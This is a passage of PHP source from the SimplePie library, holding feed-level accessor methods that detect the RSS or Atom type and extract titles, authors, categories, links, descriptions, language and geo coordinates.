* {@link http://php.net/header header()} function, and these are the
* circumstances under which the function works.
*
* Because it's setting these settings for the entire page (as is the nature
* of HTTP headers), this should only be used once per page (again, at the
* top).
*
* @param string $mime MIME type to serve the page as
* @return void
*/
public function handle_content_type(string $mime = 'text/html')
{
if (!headers_sent()) {
$header = "Content-type: $mime;";
if ($this->get_encoding()) {
$header .= ' charset=' . $this->get_encoding();
} else {
$header .= ' charset=UTF-8';
}
header($header);
}
}
/**
* Get the type of the feed
*
* This returns a self::TYPE_* constant, which can be tested against
* using {@link http://php.net/language.operators.bitwise bitwise operators}
*
* @since 0.8 (usage changed to using constants in 1.0)
* @see self::TYPE_NONE Unknown.
* @see self::TYPE_RSS_090 RSS 0.90.
* @see self::TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape).
* @see self::TYPE_RSS_091_USERLAND RSS 0.91 (Userland).
* @see self::TYPE_RSS_091 RSS 0.91.
* @see self::TYPE_RSS_092 RSS 0.92.
* @see self::TYPE_RSS_093 RSS 0.93.
* @see self::TYPE_RSS_094 RSS 0.94.
* @see self::TYPE_RSS_10 RSS 1.0.
* @see self::TYPE_RSS_20 RSS 2.0.x.
* @see self::TYPE_RSS_RDF RDF-based RSS.
* @see self::TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format).
* @see self::TYPE_RSS_ALL Any version of RSS.
* @see self::TYPE_ATOM_03 Atom 0.3.
* @see self::TYPE_ATOM_10 Atom 1.0.
* @see self::TYPE_ATOM_ALL Any version of Atom.
* @see self::TYPE_ALL Any known/supported feed type.
* @return int-mask-of<self::TYPE_*> constant
*/
public function get_type()
{
if (!isset($this->data['type'])) {
$this->data['type'] = self::TYPE_ALL;
if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'])) {
$this->data['type'] &= self::TYPE_ATOM_10;
} elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'])) {
$this->data['type'] &= self::TYPE_ATOM_03;
} elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'])) {
if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['channel'])
|| isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['image'])
|| isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['item'])
|| isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['textinput'])) {
$this->data['type'] &= self::TYPE_RSS_10;
}
if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['channel'])
|| isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['image'])
|| isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['item'])
|| isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['textinput'])) {
$this->data['type'] &= self::TYPE_RSS_090;
}
} elseif (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'])) {
$this->data['type'] &= self::TYPE_RSS_ALL;
if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
case '0.91':
$this->data['type'] &= self::TYPE_RSS_091;
if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
case '0':
$this->data['type'] &= self::TYPE_RSS_091_NETSCAPE;
break;
case '24':
$this->data['type'] &= self::TYPE_RSS_091_USERLAND;
break;
}
}
break;
case '0.92':
$this->data['type'] &= self::TYPE_RSS_092;
break;
case '0.93':
$this->data['type'] &= self::TYPE_RSS_093;
break;
case '0.94':
$this->data['type'] &= self::TYPE_RSS_094;
break;
case '2.0':
$this->data['type'] &= self::TYPE_RSS_20;
break;
}
}
} else {
$this->data['type'] = self::TYPE_NONE;
}
}
return $this->data['type'];
}
/**
* Get the URL for the feed
*
* When the 'permanent' mode is enabled, returns the original feed URL,
* except in the case of an `HTTP 301 Moved Permanently` status response,
* in which case the location of the first redirection is returned.
*
* When the 'permanent' mode is disabled (default),
* may or may not be different from the URL passed to {@see set_feed_url()},
* depending on whether auto-discovery was used, and whether there were
* any redirects along the way.
*
* @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
* @todo Support <itunes:new-feed-url>
* @todo Also, |atom:link|@rel=self
* @param bool $permanent Permanent mode to return only the original URL or the first redirection
* iff it is a 301 redirection
* @return string|null
*/
public function subscribe_url(bool $permanent = false)
{
if ($permanent) {
if ($this->permanent_url !== null) {
// sanitize encodes ampersands which are required when used in a url.
return str_replace(
'&',
'&',
$this->sanitize(
$this->permanent_url,
self::CONSTRUCT_IRI
)
);
}
} else {
if ($this->feed_url !== null) {
return str_replace(
'&',
'&',
$this->sanitize(
$this->feed_url,
self::CONSTRUCT_IRI
)
);
}
}
return null;
}
/**
* Get data for an feed-level element
*
* This method allows you to get access to ANY element/attribute that is a
* sub-element of the opening feed tag.
*
* The return value is an indexed array of elements matching the given
* namespace and tag name. Each element has `attribs`, `data` and `child`
* subkeys. For `attribs` and `child`, these contain namespace subkeys.
* `attribs` then has one level of associative name => value data (where
* `value` is a string) after the namespace. `child` has tag-indexed keys
* after the namespace, each member of which is an indexed array matching
* this same format.
*
* For example:
* <pre>
* // This is probably a bad example because we already support
* // <media:content> natively, but it shows you how to parse through
* // the nodes.
* $group = $item->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group');
* $content = $group[0]['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'];
* $file = $content[0]['attribs']['']['url'];
* echo $file;
* </pre>
*
* @since 1.0
* @see http://simplepie.org/wiki/faq/supported_xml_namespaces
* @param string $namespace The URL of the XML namespace of the elements you're trying to access
* @param string $tag Tag name
* @return array<array<string, mixed>>|null
*/
public function get_feed_tags(string $namespace, string $tag)
{
$type = $this->get_type();
if ($type & self::TYPE_ATOM_10) {
if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) {
return $this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
}
}
if ($type & self::TYPE_ATOM_03) {
if (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) {
return $this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
}
}
if ($type & self::TYPE_RSS_RDF) {
if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) {
return $this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
}
}
if ($type & self::TYPE_RSS_SYNDICATION) {
if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) {
return $this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag];
}
}
return null;
}
/**
* Get data for an channel-level element
*
* This method allows you to get access to ANY element/attribute in the
* channel/header section of the feed.
*
* See {@see SimplePie::get_feed_tags()} for a description of the return value
*
* @since 1.0
* @see http://simplepie.org/wiki/faq/supported_xml_namespaces
* @param string $namespace The URL of the XML namespace of the elements you're trying to access
* @param string $tag Tag name
* @return array<array<string, mixed>>|null
*/
public function get_channel_tags(string $namespace, string $tag)
{
$type = $this->get_type();
if ($type & self::TYPE_ATOM_ALL) {
if ($return = $this->get_feed_tags($namespace, $tag)) {
return $return;
}
}
if ($type & self::TYPE_RSS_10) {
if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'channel')) {
if (isset($channel[0]['child'][$namespace][$tag])) {
return $channel[0]['child'][$namespace][$tag];
}
}
}
if ($type & self::TYPE_RSS_090) {
if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'channel')) {
if (isset($channel[0]['child'][$namespace][$tag])) {
return $channel[0]['child'][$namespace][$tag];
}
}
}
if ($type & self::TYPE_RSS_SYNDICATION) {
if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_20, 'channel')) {
if (isset($channel[0]['child'][$namespace][$tag])) {
return $channel[0]['child'][$namespace][$tag];
}
}
}
return null;
}
/**
* Get data for an channel-level element
*
* This method allows you to get access to ANY element/attribute in the
* image/logo section of the feed.
*
* See {@see SimplePie::get_feed_tags()} for a description of the return value
*
* @since 1.0
* @see http://simplepie.org/wiki/faq/supported_xml_namespaces
* @param string $namespace The URL of the XML namespace of the elements you're trying to access
* @param string $tag Tag name
* @return array<array<string, mixed>>|null
*/
public function get_image_tags(string $namespace, string $tag)
{
$type = $this->get_type();
if ($type & self::TYPE_RSS_10) {
if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'image')) {
if (isset($image[0]['child'][$namespace][$tag])) {
return $image[0]['child'][$namespace][$tag];
}
}
}
if ($type & self::TYPE_RSS_090) {
if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'image')) {
if (isset($image[0]['child'][$namespace][$tag])) {
return $image[0]['child'][$namespace][$tag];
}
}
}
if ($type & self::TYPE_RSS_SYNDICATION) {
if ($image = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'image')) {
if (isset($image[0]['child'][$namespace][$tag])) {
return $image[0]['child'][$namespace][$tag];
}
}
}
return null;
}
/**
* Get the base URL value from the feed
*
* Uses `<xml:base>` if available,
* otherwise uses the first 'self' link or the first 'alternate' link of the feed,
* or failing that, the URL of the feed itself.
*
* @see get_link
* @see subscribe_url
*
* @param array<string, mixed> $element
* @return string
*/
public function get_base(array $element = [])
{
if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
return $element['xml_base'];
}
if (($link = $this->get_link(0, 'alternate')) !== null) {
return $link;
}
if (($link = $this->get_link(0, 'self')) !== null) {
return $link;
}
return $this->subscribe_url() ?? '';
}
/**
* Sanitize feed data
*
* @access private
* @see Sanitize::sanitize()
* @param string $data Data to sanitize
* @param int-mask-of<SimplePie::CONSTRUCT_*> $type
* @param string $base Base URL to resolve URLs against
* @return string Sanitized data
*/
public function sanitize(string $data, int $type, string $base = '')
{
try {
// This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
return $this->sanitize->sanitize($data, $type, $base);
} catch (SimplePieException $e) {
if (!$this->enable_exceptions) {
$this->error = $e->getMessage();
$this->registry->call(Misc::class, 'error', [$this->error, E_USER_WARNING, $e->getFile(), $e->getLine()]);
return '';
}
throw $e;
}
}
/**
* Get the title of the feed
*
* Uses `<atom:title>`, `<title>` or `<dc:title>`
*
* @since 1.0 (previously called `get_feed_title` since 0.8)
* @return string|null
*/
public function get_title()
{
if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'title')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'title')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
}
return null;
}
/**
* Get a category for the feed
*
* @since Unknown
* @param int $key The category that you want to return. Remember that arrays begin with 0, not 1
* @return Category|null
*/
public function get_category(int $key = 0)
{
$categories = $this->get_categories();
if (isset($categories[$key])) {
return $categories[$key];
}
return null;
}
/**
* Get all categories for the feed
*
* Uses `<atom:category>`, `<category>` or `<dc:subject>`
*
* @since Unknown
* @return array<Category>|null List of {@see Category} objects
*/
public function get_categories()
{
$categories = [];
foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'category') as $category) {
$term = null;
$scheme = null;
$label = null;
if (isset($category['attribs']['']['term'])) {
$term = $this->sanitize($category['attribs']['']['term'], self::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme'])) {
$scheme = $this->sanitize($category['attribs']['']['scheme'], self::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['label'])) {
$label = $this->sanitize($category['attribs']['']['label'], self::CONSTRUCT_TEXT);
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
}
foreach ((array) $this->get_channel_tags(self::NAMESPACE_RSS_20, 'category') as $category) {
// This is really the label, but keep this as the term also for BC.
// Label will also work on retrieving because that falls back to term.
$term = $this->sanitize($category['data'], self::CONSTRUCT_TEXT);
if (isset($category['attribs']['']['domain'])) {
$scheme = $this->sanitize($category['attribs']['']['domain'], self::CONSTRUCT_TEXT);
} else {
$scheme = null;
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
}
foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'subject') as $category) {
$categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
}
foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'subject') as $category) {
$categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
}
if (!empty($categories)) {
return array_unique($categories);
}
return null;
}
/**
* Get an author for the feed
*
* @since 1.1
* @param int $key The author that you want to return. Remember that arrays begin with 0, not 1
* @return Author|null
*/
public function get_author(int $key = 0)
{
$authors = $this->get_authors();
if (isset($authors[$key])) {
return $authors[$key];
}
return null;
}
/**
* Get all authors for the feed
*
* Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
*
* @since 1.1
* @return array<Author>|null List of {@see Author} objects
*/
public function get_authors()
{
$authors = [];
foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'author') as $author) {
$name = null;
$uri = null;
$email = null;
if (isset($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
$name = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
}
if (isset($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
$uri = $author['child'][self::NAMESPACE_ATOM_10]['uri'][0];
$uri = $this->sanitize($uri['data'], self::CONSTRUCT_IRI, $this->get_base($uri));
}
if (isset($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
$email = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $uri !== null) {
$authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
}
}
if ($author = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'author')) {
$name = null;
$url = null;
$email = null;
if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
$name = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
}
if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
$url = $author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0];
$url = $this->sanitize($url['data'], self::CONSTRUCT_IRI, $this->get_base($url));
}
if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
$email = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $url !== null) {
$authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
}
}
foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'creator') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
}
foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'creator') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
}
foreach ((array) $this->get_channel_tags(self::NAMESPACE_ITUNES, 'author') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
}
if (!empty($authors)) {
return array_unique($authors);
}
return null;
}
/**
* Get a contributor for the feed
*
* @since 1.1
* @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1
* @return Author|null
*/
public function get_contributor(int $key = 0)
{
$contributors = $this->get_contributors();
if (isset($contributors[$key])) {
return $contributors[$key];
}
return null;
}
/**
* Get all contributors for the feed
*
* Uses `<atom:contributor>`
*
* @since 1.1
* @return array<Author>|null List of {@see Author} objects
*/
public function get_contributors()
{
$contributors = [];
foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
$name = null;
$uri = null;
$email = null;
if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
$name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
}
if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
$uri = $contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0];
$uri = $this->sanitize($uri['data'], self::CONSTRUCT_IRI, $this->get_base($uri));
}
if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
$email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $uri !== null) {
$contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
}
}
foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
$name = null;
$url = null;
$email = null;
if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
$name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
}
if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
$url = $contributor['child'][self::NAMESPACE_ATOM_03]['url'][0];
$url = $this->sanitize($url['data'], self::CONSTRUCT_IRI, $this->get_base($url));
}
if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
$email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $url !== null) {
$contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
}
}
if (!empty($contributors)) {
return array_unique($contributors);
}
return null;
}
/**
* Get a single link for the feed
*
* @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
* @param int $key The link that you want to return. Remember that arrays begin with 0, not 1
* @param string $rel The relationship of the link to return
* @return string|null Link URL
*/
public function get_link(int $key = 0, string $rel = 'alternate')
{
$links = $this->get_links($rel);
if (isset($links[$key])) {
return $links[$key];
}
return null;
}
/**
* Get the permalink for the item
*
* Returns the first link available with a relationship of "alternate".
* Identical to {@see get_link()} with key 0
*
* @see get_link
* @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
* @internal Added for parity between the parent-level and the item/entry-level.
* @return string|null Link URL
*/
public function get_permalink()
{
return $this->get_link(0);
}
/**
* Get all links for the feed
*
* Uses `<atom:link>` or `<link>`
*
* @since Beta 2
* @param string $rel The relationship of links to return
* @return array<string>|null Links found for the feed (strings)
*/
public function get_links(string $rel = 'alternate')
{
if (!isset($this->data['links'])) {
$this->data['links'] = [];
if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'link')) {
foreach ($links as $link) {
if (isset($link['attribs']['']['href'])) {
$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
}
}
}
if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'link')) {
foreach ($links as $link) {
if (isset($link['attribs']['']['href'])) {
$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
}
}
}
if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
}
if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
}
if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
}
$keys = array_keys($this->data['links']);
foreach ($keys as $key) {
if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
if (isset($this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key])) {
$this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key]);
$this->data['links'][$key] = &$this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key];
} else {
$this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
}
} elseif (substr($key, 0, 41) === self::IANA_LINK_RELATIONS_REGISTRY) {
$this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
}
$this->data['links'][$key] = array_unique($this->data['links'][$key]);
}
}
if (isset($this->data['headers']['link'])) {
$link_headers = $this->data['headers']['link'];
if (is_array($link_headers)) {
$link_headers = implode(',', $link_headers);
}
// https://datatracker.ietf.org/doc/html/rfc8288
if (is_string($link_headers) &&
preg_match_all('/<(?P<uri>[^>]+)>\s*;\s*rel\s*=\s*(?P<quote>"?)' . preg_quote($rel) . '(?P=quote)\s*(?=,|$)/i', $link_headers, $matches)) {
return $matches['uri'];
}
}
if (isset($this->data['links'][$rel])) {
return $this->data['links'][$rel];
}
return null;
}
/**
* @return ?array<Response>
*/
public function get_all_discovered_feeds()
{
return $this->all_discovered_feeds;
}
/**
* Get the content for the item
*
* Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`,
* `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>`
*
* @since 1.0 (previously called `get_feed_description()` since 0.8)
* @return string|null
*/
public function get_description()
{
if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'subtitle')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'tagline')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'description')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'description')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'description')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'description')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'description')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'summary')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'subtitle')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
}
return null;
}
/**
* Get the copyright info for the feed
*
* Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>`
*
* @since 1.0 (previously called `get_feed_copyright()` since 0.8)
* @return string|null
*/
public function get_copyright()
{
if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'rights')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'copyright')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'copyright')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'rights')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'rights')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
}
return null;
}
/**
* Get the language for the feed
*
* Uses `<language>`, `<dc:language>`, or @xml_lang
*
* @since 1.0 (previously called `get_feed_language()` since 0.8)
* @return string|null
*/
public function get_language()
{
if ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'language')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'language')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'language')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) {
return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
} elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) {
return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
} elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'])) {
return $this->sanitize($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'], self::CONSTRUCT_TEXT);
} elseif (isset($this->data['headers']['content-language'])) {
return $this->sanitize($this->data['headers']['content-language'], self::CONSTRUCT_TEXT);
}
return null;
}
/**
* Get the latitude coordinates for the item
*
* Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
*
* Uses `<geo:lat>` or `<georss:point>`
*
* @since 1.0
* @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
* @link http://www.georss.org/ GeoRSS
* @return float|null
*/
public function get_latitude()
{
if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
return (float) $return[0]['data'];
} elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
return (float) $match[1];
}
return null;
}
/**
* Get the longitude coordinates for the feed
*
* Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
*
* Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
*
* @since 1.0
* @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
* @link http://www.georss.org/ GeoRSS
* @return float|null
*/
public function get_longitude()
{
if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'long')) {
return (float) $return[0]['data'];
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
return (float) $return[0]['data'];
} elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
return (float) $match[2];
}
return null;
}
/**
* Get the feed logo's title
*
* RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title.
*
* Uses `<image><title>` or `<image><dc:title>`
*
* @return string|null
*/
public function get_image_title()
{
if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
